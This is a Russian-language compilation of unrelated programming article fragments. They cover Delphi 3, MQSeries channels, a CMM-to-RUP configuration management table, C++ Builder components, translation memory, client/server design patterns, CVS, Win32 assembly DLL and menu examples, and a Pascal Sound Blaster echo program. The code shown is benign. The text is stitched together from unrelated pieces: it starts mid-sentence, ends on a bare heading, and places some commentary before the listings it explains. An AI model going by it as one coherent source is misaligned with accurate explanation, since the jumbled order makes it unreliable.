FileNew, FileSave или FileSaveAs.

    Каковы особенности различных версий Delphi 3?

    Все особенности, описанные выше, включены в Delphi 3 Client/Server Suite. Детальное описание особенностей версий Standard и Professional Delphi 3 можно получить на корпоративном сервере Borland

    Каналы передачи сообщений

    Каналы соединяют менеджеры очередей и позволяют осуществлять односторонне направленную посылку сообщений под контролем пары взаимодействующих канальных агентов (Message Channel Agent-MCA). Каналы определяются парами на каждом из взаимодействующих менеджеров очередей. Существует несколько типов каналов, которые должны соответствовать друг другу в паре. Типы каналов различаются тем, какая сторона в канале инициирует установку связи, а какая играет роль источника сообщений. Комбинации соответствующих признаков дают пары типа Sender-Receiver или Requestor-Server. Инициаторами связи выступают каналы типа Sender и Requestor: в их определении содержатся сетевые адреса и параметры Приведем пример административной команды для создания канала в MQSeries, в которой указаны основные параметры, определяющие канал: DEFINE CHANNEL(имя канала) CHLTYPE(тип канала) + TRPTYPE(сетевой протокол) + ...{XMITQ(очередь трансмиссии)} После установки связи из транспортной очереди в канале начинается передача сообщений. При передаче сообщений между двумя менеджерами очередей используется специальный протокол канала сообщения (Message Channel Protocol - MCP). Сообщения удаляются из транспортной очереди передающего менеджера только после подтверждения доставки сообщения другим менеджером. Использование протокола MCP обеспечивает передачу сообщения полностью, в том числе в случае системного или сетевого сбоя. Если линия связи недоступна, MQSeries может автоматически совершать повторные попытки передачи после восстановления связи. Протокол МСР используется при передаче сообщений поверх транспортных протоколов более низкого уровня.

    Ключи CMM и их реализация в RUP

    Наименование ключа СММ Описание ключа Роль в RUP Процессы в RUP Процедуры в RUP Примечания
    Сo1 Проект выполняется в соответствии с установленной организационной политикой (Software Configuration Management) Инициативная группа Под политикой можно определять ключевые роли и должностные обязанности сотрудников, вовлеченных в КУ.
    Ab1 Руководство обладает полномочиями для управления существующими или устанавливаемыми проектными базовыми линиями Менеджер проекта, руководитель Конфигурационное управление и управление версиями, план проекта конфигурационного и версионного контроля Действия: установление процесса контроля изменений Данный шаг подразумевает определение конкретной политики версионного управления.
    Ab2 Организуется работа группы, ответственной за внедрение SCM для существующего проекта Любой работник Управление проектами. Разработка SDP (Software Development Plan) Действия: определение проектной организации Данный шаг подразумевает определение проектной организации. Входящими данными для этого ключа могут служить: модель системы в Rational Rose, и сгенерированный на ее основе отчет в SoDA, по SDP.
    Ab3 Выделяются ресурсы и финансирование для выполнения SCM-действий Менеджер проекта Управление проектами. Разработка SDP Действия: определение проектной организации Частичное повторение предыдущего этапа. В силу особой важности правильного выбора проектной организации полагается уделить большое количество времени на ее правильную организацию.
    Ab4 Все члены SCM-групп обучены процедурам и методам для исполнения SCM-действий Менеджер проекта Управление проектами. Управление итерациями Действия: изучение/обучение Данный шаг подразумевает обучение сотрудников заказчика либо собственными силами (если есть соответствующие специалисты, проводившие пилотный проект), либо с привлечением сторонних консультантов.
    Ab5 Члены группы разработки программного обеспечения связываются с обученными группами, чтобы дополнять их SCM-действия Менеджер проекта Управление проектами. Управление итерациями Действия: изучение/обучение То же, что и предыдущий шаг.
    Ac1 План SCM готовится к каждому проекту согласно установленной процедуре Менеджер конфигураций Конфигурационное управление и управление версиями. План проекта конфигурационного и версионного контроля Действие: создание CM-плана. Шаблон: SCMP
    Ac2 Зарегистрированный и утвержденный SCM-план используется в качестве основы для выполнения дальнейших SCM-действий Менеджер конфигураций Конфигурационное управление и управление версиями. План проекта конфигурационного и версионного контроля Действия: создание CM-плана. Шаблон: SCMP Подразумевается написание конфигурационного плана – политики изменений версий файлов в составе проекта. План является обязательным для всех участников проекта.
    Ac3 Система библиотек управления конфигурациями установлена как основа (репозитарий) для программных базовых линий Менеджер конфигураций Конфигурационное управление и управление версиями. Создается конфигурационная среда Действия: настройка среды CM. Инструмент: Практический шаг. Администратор ClearCase и ClearQuest реализует физическое воплощение запланированной конфигурационной политики. Создается репозитарий, который насыщается начальными правами.
    Ac4 Разрабатываемые данные кладутся под управление и идентифицируются Менеджер конфигураций Конфигурационное управление и управление версиями. План проекта конфигурационного и версионного контроля Действия: Создание CM-плана. Шаблон: SCMP Физическая постановка проектных данных под управление .
    Ac5 Запросы на изменение и отчеты по всем элементам конфигурации должны быть введены, зарегистрированы, рассмотрены и одобрены согласно установленной процедуре Менеджер проекта, руководитель Конфигурационное управление и управление версиями. План проекта конфигурационного и версионного контроля Действия: установление процесса контроля изменений. Шаблон: SCMP Данная функциональность может быть обеспечена при совместном использовании и . При настройке выбирается тип возможной совместной работы продуктов: UCM или BASE. От выбранного типа существенно зависит политика дальнейшей работы.
    Ac6 Изменения базовых линий управляются согласно установленной процедуре Интегратор Конфигурационное управление и управление версиями. Управление релизами и базовыми версиями Действия: создание базовых линий. Шаблон: SCMP В зависимости от выбранной политики использования ClearCase (UCM или BASE) выбирается политика нумерации релизов (базовых, отладочных).
    Ac7 Базовые линии компилируются и управляются согласно установленной процедуре Интегратор Конфигурационное управление и управление версиями. Управление релизами и базовыми версиями. Действия: продвижение базовых линий. Шаблон: SCMP Данная процедура должна быть зарегистрирована в SCMP и иметь соответственное сопровождение. В отличие от предыдущего данный этап подразумевает практическое использование уже установленной политики.
    Ac8 Состояния элементов конфигурации и модулей зарегистрированы согласно установленной процедуре Любой работник Конфигурационное управление и управление изменениями. Изменение и производство базовых линий Действия: создание изменений. Шаблон: SCMP Собственно процесс обеспечения доступа к подконтрольным данным любого участника.
    Ac9 Стандартные отчеты, документирующие SCM-действия и содержания базовых линий, разработаны и сделаны доступными как заинтересованным группам, так и отдельным участникам Менеджер конфигураций Конфигурационное управление и управление изменениями. Мониторинг состояния и создания отчетов статуса конфигурации Действия: создание отчетов по конфигурационным статусам. Шаблон: SCMP Генерация отчетов возможна как через сам , так и через специальные средства отчетности, такие как . Если используются возможности ClearCase, то допускается автоматизированная генерация произвольных отчетов по заранее установленному расписанию.
    Ac10 Аудит базовых линий проводится согласно установленной процедуре Менеджер конфигураций Конфигурационное управление и управление изменениями. Мониторинг состояния и создания отчетов статуса конфигурации Действия: исполнение конфигурационного аудита. Шаблон: SCMP имеет встроенные средства по аудиту, а также позволяет при помощи набора мастеров устанавливать способы, отличающиеся от стандартных.
    Me1 Единицы измерения созданы и используются для определения состояний SCM-действий Менеджер проектов Управление проектом. Отслеживание и контроль проекта Действия: отслеживание проектного статуса. Шаблон: план единиц измерений. Заканчивая план измерений, проект определит, что измерения будут приняты.В этом случае они должны быть проанализированы и использованы для улучшения процессов.
    Ve1 SCM-действия периодически просматриваются старшими менеджерами или руководителями Рецензент проекта Управление проектом. Отслеживание и контроль проекта Действия: рецензирование проекта Все отчеты читаются и рецензируются.
    Ve2 SCM-действия просматриваются в двух случаях: периодически и по событиям (действий) Менеджер проектов Управление проектом. Отслеживание и контроль проекта Действия: отслеживание проектного статуса Руководство должно иметь представление о состоянии проекта. Соответственно отчетные представления позволяют легко это обеспечить. Периодичность и форма проверки определяется на более ранних этапах. Формат просмотра может быть линейным, в соответствии с расписанием, например еженедельно, а может быть интерактивным, когда вышестоящее руководство немедленно информируется об определенных действиях сотрудников.
    Ve3 SCM-группа периодически проводит аудит базовых линий на предмет соответствия начальным установкам Менеджер конфигураций Управление конфигурациями и изменениями. Отслеживание состояния и вывод отчетов по конфигурационному статусу Действие: подготовка конфигурационного аудита. Шаблон: SCMP Периодически проводится аудит состояние проектных линий. Отчеты по базовым линиям представляются . Группа ответственных лиц периодически просматривает, не противоречат ли они установленным ранее политикам.
    Ve4 Группа гарантии качества ПО просматривает и/или проводит ревизию действий и генерирует соответствующие отчеты Рецензент проекта Управление проектом. Отслеживание и контроль проекта Действия: отслеживание проектного состояния
    Термины, используемые в таблице: SCM — Software Configuration Management
    SDP — Software Development Plan
    SCMP — Software Configuration Management Plan
    UCM — Unified Change Management
    CM — Configuration Management

    Компоненты C++ Builder

    Компоненты разделяются на видимые (визуальные) и невидимые (невизуальные). Визуальные компоненты появляются во время выполнения точно так же, как и во время проектирования. Примерами являются кнопки и редактируемые поля. Невизуальные компоненты появляются во время проектирования как пиктограммы на форме. Они никогда не видны во время выполнения, но обладают определенной функциональностью (например, обеспечивают доступ к данным, вызывают стандартные диалоги Windows 95 и др.) Компоненты C++ Builder Рис. 2. Пример использования видимых и невидимых компонентов Для добавления компонента в форму можно выбрать мышью нужный компонент в палитре и щелкнуть левой клавишей мыши в нужном месте проектируемой формы. Компонент появится на форме, и далее его можно перемещать, менять размеры и другие характеристики. Каждый компонент C++ Builder имеет три разновидности характеристик: свойства, события и методы. Если выбрать компонент из палитры и добавить его к форме, инспектор объектов автоматически покажет свойства и события, которые могут быть использованы с этим компонентом. В верхней части инспектора объектов имеется выпадающий список, позволяющий выбирать нужный объект из имеющихся на форме. Компоненты C++ Builder Рис.3. Инспектор объектов

    Концептно-ориентированная сущность памяти переводов

    В результате всех нововведений мы построили модель памяти переводов, в основе которой лежит ориентированный граф отношений наследования, в узлах которого находятся понятия (концепты) различной степени конкретности. При этом в корневых (не имеющих предков) узлах графа находятся наиболее общие абстрактные концепты, соответствующие элементам терминологического словаря. Путем множественного наследования от них порождаются составные концепты, соответствующие более конкретным понятиям. С каждым концептом графа связаны варианты его перевода на различные языки. Не для каждого концепта может существовать перевод на заданный язык. С другой стороны, для некоторого концепта может быть определено несколько вариантов перевода на один и тот же язык. Это было краткое резюме технической стороны предлагаемого подхода. Но более важным является технологический аспект. Долгое время системы машинного перевода и памяти переводов представляли два конкурирующих направления и никогда не рассматривались вместе кроме как в противопоставлении. На сегодняшний день взгляды меняются, и хотя фирмы не придают своим ноу-хау широкой огласки, заметна тенденция к совместному использованию в некоторых системах обеих технологий. Предлагаемая модель демонстрирует один из возможных вариантов такой интеграции. Более того, она представляет собой попытку показать, что под машинный перевод и память переводов можно подвести общую основу, и создать такую систему профессионального перевода, в которой оба механизма действуют как единое целое.

    Концептуальная модель клиента

    Клиентское приложение на рис. 3.1 построено на основе популярного шаблона Модель-Вид-Контроллер (Model-View-Controller) [1]. Моделью служит абстрактный класс Model, который необходимо расширить для разных типов моделей, присутствующих в клиентском приложении. В роли Вида выступает абстрактный класс View, который соответственно необходимо переопределить для имеющихся видов в клиентском приложении. В роли контроллера выступает интерфейс Command, который необходимо реализовать в командах, производящих действия над Моделью на основе событий, приходящих в Вид от пользователя. Также применяется шаблон Mediator, выступающий в роли посредника между взаимосвязанными Видами. Клиентское приложение взаимодействует с сервером приложений через такие интерфейсы, как FactSourceInterface, MetaSourceInterface и SecuritySourceInterface. Концептуальная модель клиента Рис. 3.1 Концептуальная модель клиента

    Концептуальная модель сервера

    Сервер приложений состоит из так называемых заводов, которые управляют объектами в памяти сервера. Заводы представляют собой классы, построенные на основе шаблонов проектирования Singleton, Factory Method, Flyweight и Facade [1]. Шаблон Singleton предназначен для существования всего одного объекта завода в памяти сервера приложения, в котором содержатся ссылки на объекты, управляемые им. Шаблон Factory Method используется для того, чтобы только завод занимался созданием объектов, а по шаблону Flyweight в случае повторного запроса на такой же объект не производились бы затраты ресурсов сервера на повторное создание клона объекта, а изымался уже готовый объект из пула объектов. Хочу обратить внимание на то, что создание объектов обычно сопряжено с процессом считывания информации из таких источников данных, как, например СУБД. В сервере приложений присутствует три завода. Завод MetaFactory работает с объектами, представляющими метамодель. Завод FactDAOFactory управляет объектами, которые работают с фактами. Завод SecurityFactory управляет объектами, описывающими безопасность системы. Заводы изображены на рис. 2.1. Концептуальная модель сервера Рис. 2.1 Концептуальная модель сервера Сервер приложения имеет интерфейсы, через которые с ним можно взаимодействовать. Таких интерфейсов тоже три. Интерфейс FactSourceInterface предназначен для доступа к фактам. Интерфейс MetaSourceInterface предназначен для доступа к метамодели. Интерфейс SecuritySourceInterface предназначен для доступа к безопасности системы. При работе с этими интерфейсами данные заворачиваются в value-объекты, которые берутся из model.fact, model.meta и model.security соответственно. Реализуют эти интерфейсы абстрактные классы AbstractFactSource, AbstractMetaSource и AbstractSecuritySource, которые можно переопределить и делегировать вызовы со стороны клиентского приложения от скелетонов (skeleton). Классы AbstractFactSource и AbstractMetaSource в своей работе используют SecurityFactory, так как в них инкапсулированы механизмы проверки прав доступа к фактам и метамодели.

    Контроль версий файлов системы – большая бочка меда с ложкой дегтя

    Проект переходит от стадии проектирования и планирования к стадии реализации. Когда в проекте работают несколько программистов над общими исходными файлами, начинается проблемы по поводу того, что программисты начинают мешать друг, другу внося изменения, в файлы, затирая чужие изменения. Так же встает проблема, как отслеживать самые последние версии файлов и распространять их между программистами. Для того, что бы избежать этих проблем следует использовать программный продукт для контроля версий файлов. Существует большое количество коммерческих продуктов на эту тему. Но я бы рекомендовал некоммерческий продукт CVS. Использование продуктов такого рода, конечно же, не решит все проблемы, но значительно облегчит и, следовательно, повысит продуктивность совместной работы программистов. Принцип функционирования CVS довольно прост. Существует репозитарий (библиотека) всех исходных файлов проекта, там хранятся все версии каждого файла. Программисты могут подключиться к этому репозитарию и забрать с него самые последние версии исходных файлов проекта или любой его версии. Продукт CVS отвечает за синхронизацию локальных копий файлов проекта на машинах программистов с репозитарием и за разрешение конфликтов при совместном редактировании одного файла. Руководителю проекта следует ввести одно очевидное правило работы с CVS для программистов: “Никогда не посылать в репозитарий файл заведомо не компилирующийся!”.

    Краткие комментарии к динамической библиотеке

    Процедура libEntry является точкой входа в динамическую библиотеку, её не надо объявлять как экспортируемую, загрузчик сам определяет её местонахождение. LibEntry может вызываться в четырёх случаях:
  • при проецировании библиотеки в адресное пространство процесса (DLL_PROCESS_ATTACH);
  • при первом вызове библиотеки из потока (DLL_THREAD_ATTACH), например, с помощью функции LoadLibrary;
  • при выгрузке библиотеки потоком (DLL_THREAD_DETACH);
  • при выгрузке библиотеки из адресного пространства процесса (DLL_PROCESS_DETACH).
  • В нашем примере обрабатывается только первое из событий DLL_PROCESS_ATTACH. При обработке данного события библиотека запрашивает версию OS сохраняет её, а также свой handle of instance. Библиотека содержит только одну экспортируемую функцию, которая собственно не требует пояснений. Вы, пожалуй, можете обратить внимание на то, как производится запись преобразованных значений. Интересна система адресации посредством двух регистров общего назначения: ebx + ecx, она позволяет нам использовать регистр ecx одновременно и как счётчик и как составную часть адреса. Пример 3. Оконное приложение Файл dmenu.asm Ideal P586 Radix 16 Model flat struc WndClassEx cbSize dd 0 style dd 0 lpfnWndProc dd 0 cbClsExtra dd 0 cbWndExtra dd 0 hInstance dd 0 hIcon dd 0 hCursor dd 0 hbrBackground dd 0 lpszMenuName dd 0 lpszClassName dd 0 hIconSm dd 0 ends WndClassEx struc Point left dd 0 top dd 0 right dd 0 bottom dd 0 ends Point struc msgStruc hwnd dd 0 message dd 0 wParam dd 0 lParam dd 0 time dd 0 pt Point <> ends msgStruc MyMenu = 0065 ID_OPEN = 9C41 ID_SAVE = 9C42 ID_EXIT = 9C43 CS_VREDRAW = 0001 CS_HREDRAW = 0002 IDI_APPLICATION = 7F00 IDC_ARROW = 7F00 COLOR_WINDOW = 5 WS_EX_WINDOWEDGE = 00000100 WS_EX_CLIENTEDGE = 00000200 WS_EX_OVERLAPPEDWINDOW = WS_EX_WINDOWEDGE OR WS_EX_CLIENTEDGE WS_OVERLAPPED = 00000000 WS_CAPTION = 00C00000 WS_SYSMENU = 00080000 WS_THICKFRAME = 00040000 WS_MINIMIZEBOX = 00020000 WS_MAXIMIZEBOX = 00010000 WS_OVERLAPPEDWINDOW = WS_OVERLAPPED OR \ WS_CAPTION OR \ WS_SYSMENU OR \ WS_THICKFRAME OR \ WS_MINIMIZEBOX OR \ WS_MAXIMIZEBOX CW_USEDEFAULT = 80000000 SW_SHOW = 5 WM_COMMAND = 0111 WM_DESTROY = 0002 WM_CLOSE = 0010 MB_OK = 0 PROCTYPE ptGetModuleHandle stdcall \ lpModuleName :dword PROCTYPE ptLoadIcon stdcall \ hInstance :dword, \ lpIconName :dword PROCTYPE ptLoadCursor stdcall \ hInstance :dword, \ lpCursorName :dword PROCTYPE ptLoadMenu stdcall \ hInstance :dword, \ lpMenuName :dword PROCTYPE ptRegisterClassEx stdcall \ lpwcx :dword PROCTYPE ptCreateWindowEx stdcall \ dwExStyle :dword, \ lpClassName :dword, \ lpWindowName :dword, \ dwStyle :dword, \ x :dword, \ y :dword, \ nWidth :dword, \ nHeight :dword, \ hWndParent :dword, \ hMenu :dword, \ hInstance :dword, \ lpParam :dword PROCTYPE ptShowWindow stdcall \ hWnd :dword, \ nCmdShow :dword PROCTYPE ptUpdateWindow stdcall \ hWnd :dword PROCTYPE ptGetMessage stdcall \ pMsg :dword, \ hWnd :dword, \ wMsgFilterMin :dword, \ wMsgFilterMax :dword PROCTYPE ptTranslateMessage stdcall \ lpMsg :dword PROCTYPE ptDispatchMessage stdcall \ pmsg :dword PROCTYPE ptSetMenu stdcall \ hWnd :dword, \ hMenu :dword PROCTYPE ptPostQuitMessage stdcall \ nExitCode :dword PROCTYPE ptDefWindowProc stdcall \ hWnd :dword, \ Msg :dword, \ wParam :dword, \ lParam :dword PROCTYPE ptSendMessage stdcall \ hWnd :dword, \ Msg :dword, \ wParam :dword, \ lParam :dword PROCTYPE ptMessageBox stdcall \ hWnd :dword, \ lpText :dword, \ lpCaption :dword, \ uType :dword PROCTYPE ptExitProcess stdcall \ exitCode :dword extrn GetModuleHandleA :ptGetModuleHandle extrn LoadIconA :ptLoadIcon extrn LoadCursorA :ptLoadCursor extrn RegisterClassExA :ptRegisterClassEx extrn LoadMenuA :ptLoadMenu extrn CreateWindowExA :ptCreateWindowEx extrn ShowWindow :ptShowWindow extrn UpdateWindow :ptUpdateWindow extrn GetMessageA :ptGetMessage extrn TranslateMessage :ptTranslateMessage extrn DispatchMessageA :ptDispatchMessage extrn SetMenu :ptSetMenu extrn PostQuitMessage :ptPostQuitMessage extrn DefWindowProcA :ptDefWindowProc extrn SendMessageA :ptSendMessage extrn MessageBoxA :ptMessageBox extrn ExitProcess :ptExitProcess UDataSeg hInst dd ? hWnd dd ? IFNDEF VER1 hMenu dd ? ENDIF DataSeg msg msgStruc <> classTitle db 'Menu demo', 0 wndTitle db 'Demo program', 0 msg_open_txt db 'You selected open', 0 msg_open_tlt db 'Open box', 0 msg_save_txt db 'You selected save', 0 msg_save_tlt db 'Save box', 0 CodeSeg Start: call GetModuleHandleA, 0 ; не обязательно, но желательно mov [hInst],eax sub esp,SIZE WndClassEx ; отведём место в стеке под структуру mov [(WndClassEx esp).cbSize],SIZE WndClassEx mov [(WndClassEx esp).style],CS_HREDRAW or CS_VREDRAW mov [(WndClassEx esp).lpfnWndProc],offset WndProc mov [(WndClassEx esp).cbWndExtra],0 mov [(WndClassEx esp).cbClsExtra],0 mov [(WndClassEx esp).hInstance],eax call LoadIconA, 0, IDI_APPLICATION mov [(WndClassEx esp).hIcon],eax call LoadCursorA, 0, IDC_ARROW mov [(WndClassEx esp).hCursor],eax mov [(WndClassEx esp).hbrBackground],COLOR_WINDOW IFDEF VER1 mov [(WndClassEx esp).lpszMenuName],MyMenu ELSE mov [(WndClassEx esp).lpszMenuName],0 ENDIF mov [(WndClassEx esp).lpszClassName],offset classTitle mov [(WndClassEx esp).hIconSm],0 call RegisterClassExA, esp ; зарегистрируем класс окна add esp,SIZE WndClassEx ; восстановим стек ; и создадим окно IFNDEF VER2 call CreateWindowExA, WS_EX_OVERLAPPEDWINDOW, \ extended window style offset classTitle, \ pointer to registered class name offset wndTitle,\ pointer to window name WS_OVERLAPPEDWINDOW, \ window style CW_USEDEFAULT, \ horizontal position of window CW_USEDEFAULT, \ vertical position of window CW_USEDEFAULT, \ window width CW_USEDEFAULT, \ window height 0, \ handle to parent or owner window 0, \ handle to menu, or child-window identifier [hInst], \ handle to application instance 0 ; pointer to window-creation data ELSE call LoadMenu, hInst, MyMenu mov [hMenu],eax call CreateWindowExA, WS_EX_OVERLAPPEDWINDOW, \ extended window style offset classTitle, \ pointer to registered class name offset wndTitle, \ pointer to window name WS_OVERLAPPEDWINDOW, \ window style CW_USEDEFAULT, \ horizontal position of window CW_USEDEFAULT, \ vertical position of window CW_USEDEFAULT, \ window width CW_USEDEFAULT, \ window height 0, \ handle to parent or owner window eax, \ handle to menu, or child-window identifier [hInst], \ handle to application instance 0 ; pointer to window-creation data ENDIF mov [hWnd],eax call ShowWindow, eax, SW_SHOW ; show window call UpdateWindow, [hWnd] ; redraw window IFDEF VER3 call LoadMenuA, [hInst], MyMenu mov [hMenu],eax call SetMenu, [hWnd], eax ENDIF msg_loop: call GetMessageA, offset msg, 0, 0, 0 or ax,ax jz exit call TranslateMessage, offset msg call DispatchMessageA, offset msg jmp msg_loop exit: call ExitProcess, 0 public stdcall WndProc proc WndProc stdcall arg @@hwnd: dword, @@msg: dword, @@wPar: dword, @@lPar: dword mov eax,[@@msg] cmp eax,WM_COMMAND je @@command cmp eax,WM_DESTROY jne @@default call PostQuitMessage, 0 xor eax,eax jmp @@ret @@default: call DefWindowProcA, [@@hwnd], [@@msg], [@@wPar], [@@lPar] @@ret: ret @@command: mov eax,[@@wPar] cmp eax,ID_OPEN je @@open cmp eax,ID_SAVE je @@save call SendMessageA, [@@hwnd], WM_CLOSE, 0, 0 xor eax,eax jmp @@ret @@open: mov eax, offset msg_open_txt mov edx, offset msg_open_tlt jmp @@mess @@save: mov eax, offset msg_save_txt mov edx, offset msg_save_tlt @@mess: call MessageBoxA, 0, eax, edx, MB_OK xor eax,eax jmp @@ret endp WndProc end Start Комментарии к программе Здесь мне хотелось в первую очередь продемонстрировать использование прототипов функций API Win32.
    Конечно их (а также описание констант и структур из API Win32) следует вынести в отдельные подключаемые файлы, поскольку, скорее всего Вы будете использовать их и в других программах. Описание прототипов функций обеспечивает строгий контроль со стороны компилятора за количеством и типом параметров, передаваемых в функции. Это существенно облегчает жизнь программисту, позволяя избежать ошибок времени исполнения, тем более, что число параметров в некоторых функциях API Win32 весьма значительно. Существо данной программы заключается в демонстрации вариантов работы с оконным меню. Программу можно откомпилировать в трёх вариантах (версиях), указывая компилятору ключи VER2 или VER3 (по умолчанию используется ключ VER1). В первом варианте программы меню определяется на уровне класса окна и все окна данного класса будут иметь аналогичное меню. Во втором варианте, меню определяется при создании окна, как параметр функции CreateWindowEx. Класс окна не имеет меню и в данном случае, каждое окно этого класса может иметь своё собственное меню. Наконец, в третьем варианте, меню загружается после создания окна. Данный вариант показывает, как можно связать меню с уже созданным окном. Директивы условной компиляции позволяют включить все варианты в текст одной и той же программы. Подобная техника удобна не только для демонстрации, но и для отладки. Например, когда Вам требуется включить в программу новый фрагмент кода, то Вы можете применить данную технику, дабы не потерять функционирующий модуль. Ну, и конечно, применение директив условной компиляции - наиболее удобное средство тестирования различных решений (алгоритмов) на одном модуле. Представляет определённый интерес использование стековых фреймов и заполнение структур в стеке посредством регистра указателя стека (esp). Именно это продемонстрировано при заполнении структуры WndClassEx. Выделение места в стеке (фрейма) делается простым перемещением esp: sub esp,SIZE WndClassEx Теперь мы можем обращаться к выделенной памяти используя всё тот же регистр указатель стека.При создании 16-битных приложений такой возможностью мы не обладали. Данный приём можно использовать внутри любой процедуры или даже произвольном месте программы. Накладные расходы на подобное выделение памяти минимальны, однако, следует учитывать, что размер стека ограничен и размещать большие объёмы данных в стеке вряд ли целесообразно. Для этих целей лучше использовать "кучи" (heap) или виртуальную память (virtual memory). Остальная часть программы достаточно тривиальна и не требует каких-либо пояснений. Возможно более интересным покажется тема использования макроопределений.

    Краткие комментарии к программе

    Сразу после метки Start, программа обращается к функции API Win32 GetModuleHandle для получения handle данного модуля (данный параметр чаще именуют как handle of instance). Получив handle, мы вызываем диалог, созданный либо вручную, либо с помощью какой-либо программы построителя ресурсов. Далее программа проверяет результат работы диалогового окна. Если пользователь вышел из диалога посредством нажатия клавиши OK, то приложение запускает MessageBox с текстом приветствия. Диалоговая процедура обрабатывает следующие сообщения. При инициализации диалога (WM_INITDIALOG) она просит Windows установить фокус на поле ввода имени пользователя. Сообщение WM_COMMAND обрабатывается в таком порядке: делается проверка на код нажатия клавиши. Если была нажата клавиша OK, то пользовательский ввод копируется в переменную szValue, если же была нажата клавиша Cancel, то копирования не производится. Но и в том и другом случае вызывается функция окончания диалога: EndDialog. Остальные сообщения в группе WM_COMMAND просто игнорируются, предоставляя Windows действовать по умолчанию. Вы можете сравнить приведённую программу с аналогичной программой, написанной на ЯВУ, разница в написании будет незначительна. Очевидно те, кто писал приложения на ассемблере под Windows 3.x, отметят тот факт, что исчезла необходимость в сложном и громоздком startup коде. Теперь приложение выглядит более просто и естественно. Пример 2. Динамическая библиотека Написание динамических библиотек под Win32 также значительно упростилось, по сравнению с тем, как это делалось под Windows 3.x. Исчезла необходимость вставлять startup код, а использование четырёх событий инициализации/деинициализации на уровне процессов и потоков, кажется логичным. Рассмотрим простой пример динамической библиотеки, в которой всего одна функция, преобразования целого числа в строку в шестнадцатеричной системе счисления. Файл mylib.asm Ideal P586 Radix 16 Model flat DLL_PROCESS_ATTACH extrn GetVersion: proc DataSeg hInst dd 0 OSVer dw 0 CodeSeg proc libEntry stdcall arg @@hInst :dword, @@rsn :dword, @@rsrv :dword cmp [@@rsn],DLL_PROCESS_ATTACH jne @@1 call GetVersion mov [OSVer],ax mov eax,[@@hInst] mov [hInst],eax @@1: mov eax,1 ret endP libEntry public stdcall Hex2Str proc Hex2Str stdcall arg @@num :dword, @@str :dword uses ebx mov eax,[@@num] mov ebx,[@@str] mov ecx,7 @@1: mov edx,eax shr eax,4 and edx,0F cmp edx,0A jae @@2 add edx,'0' jmp @@3 @@2: add edx,'A' - 0A @@3: mov [byte ebx + ecx],dl dec ecx jns @@1 mov [byte ebx + 8],0 ret endp Hex2Str end libEntry Остальные файлы, которые необходимы для данного примера, можно найти в приложении 2.

    Простейшее цифровое эхо

    program echo; uses dsp_dma,getsbinf; {Ввод звука - 16 бит со знаком, вывод - 8 бит со знаком.} const BufSize = 2*1024; { размер буфера DMA } TimeConst = 156; { 156 - примерно 10 кГц } HalfBufToFill : integer = 0; { которая половина буфера DMA свободна } BothBuf : byte = 0; { индикатор заполнения обоих буферов } type RecBufType = array[0..BufSize-1]of integer; { для буфера DMA записи } PlayBufType = array[0..BufSize-1]of shortint; { для буфера DMA воспроизведения } var RecBuf : ^RecBufType; { буфер DMA для записи} PlayBuf : ^PlayBufType;{буфер DMA для воспроизведения} inpage, outpage : word; {страницы для буферов DMA} inoffset, outoffset : word; {смещения для буферов DMA} {$F+} procedure SBint;interrupt; {обработчик прерывания от звуковой платы} var intstat : integer; i : integer; begin Port[base + $04] := $82; {проверяем, по какому каналу пришло прерывание} intstat := Port[base + $05] and 3; BothBuf := BothBuf or intstat; if (intstat and 2 <>
    0) then begin {16-битовый канал} i := Port[base + $0F]; end; if (intstat and 1 <>
    0) then begin {8-битовый канал} i := Port[base + $0E]; end; if BothBuf = 3 then begin {если прошли прерывания от обоих каналов} for i := 0 to BufSize div 2 - 1 do PlayBuf^[HalfBufToFill*BufSize div 2 + i] := hi(RecBuf^[HalfBufToFill*BufSize div 2 + i]);
    write(HalfBufToFill,#8);
    {выводим на экран номер половинки буфера} HalfBufToFill := HalfBufToFill xor 1; BothBuf := 0; end; if (irq >
    8) then {для IRQ 10, посылаем сигнал EOI во второй контроллер} Port[$A0] := $20; Port[$20] := $20; { посылаем EOI в первый контроллер} end; {$F-} var SkipLength : longint; {размер памяти до границы 64-Кбайт страницы} SkipBlock : pointer; begin writeln(' Эхо - Sound Blaster 16 в ', 'режиме full duplex');
    writeln(' для завершения работы ', 'нажмите Enter');
    GetBlasterInfo; {определяем характеристики карты} if (cardtype <>
    6) then begin {Проверка, что на плате возможен full duplex} writeln(cardtype);
    writeln( 'Для работы программы необходим Sound Blaster 16.');
    halt; end; if (dma8 = dma16) then begin writeln('Ошибка: совпадение 8-битового и ', '16-битового каналов DMA.');
    halt; end; SetMixer; {сброс DMAC и установки микшера} getmem(SkipBlock,16);
    {проверка, чтобы буферы не пересекали границу 64К} SkipLength := $10000 - (seg(SkipBlock^) shl 4) - ofs(SkipBlock^);
    freemem(SkipBlock,16);
    if SkipLength >
    3*BufSize then getmem(SkipBlock,SkipLength);
    getmem(RecBuf,2*BufSize);
    {выделение памяти для буфера записи} inpage := ((longint(seg(RecBuf^)) * 16) + ofs(RecBuf^)) div $10000; inoffset := ((longint(seg(RecBuf^)) * 16) + ofs(RecBuf^)) and $FFFF; getmem(PlayBuf,BufSize);
    {выделение памяти для буфера воспроизведения} outpage := ((longint(seg(PlayBuf^)) * 16) + ofs(PlayBuf^)) div $10000; outoffset := ((longint(seg(PlayBuf^)) * 16) + ofs(PlayBuf^)) and $FFFF; fillchar(PlayBuf^,BufSize,0);
    {очистка буфера воспроизведения} EnableInterrupt( @SBint);
    SetupDMA(dma16,inpage,inoffset,BufSize, $54);
    {DMA на ввод} SetupDSP($BE,$10,BufSize div 2,TimeConst);
    {16 бит со знаком FIFO моно} SetupDMA(dma8,outpage,outoffset,BufSize, $58);
    {DMA на вывод} SetupDSP($C6,$10,BufSize div 2,TimeConst);
    {8 бит со знаком FIFO моно} readln; dspout($D5);
    {приостанавливаем 16-битовый ввод-вывод} dspout($D0);
    {приостанавливаем 8-битовый ввод-вывод} DisableInterrupt; freemem(PlayBuf,BufSize);
    freemem(RecBuf,2*BufSize);
    if SkipLength < 3*BufSize then freemem(SkipBlock,SkipLength);
    end. Сначала необходимо убедиться, что звуковая плата способна работать в режиме full duplex. Проще (и безопаснее) всего это сделать с помощью переменной окружения 'BLASTER'. Подобным способом следует определить и базовый адрес порта ввода-вывода, а также номера используемых IRQ и канала DMA. Программа, выполняющая разбор переменной окружения, приведена в листинге 2. Плата должна быть 6-го типа, а номера 8- и 16-разрядного каналов DMA - различаться.

    Сценарий мониторинга для выполнения регистрации.

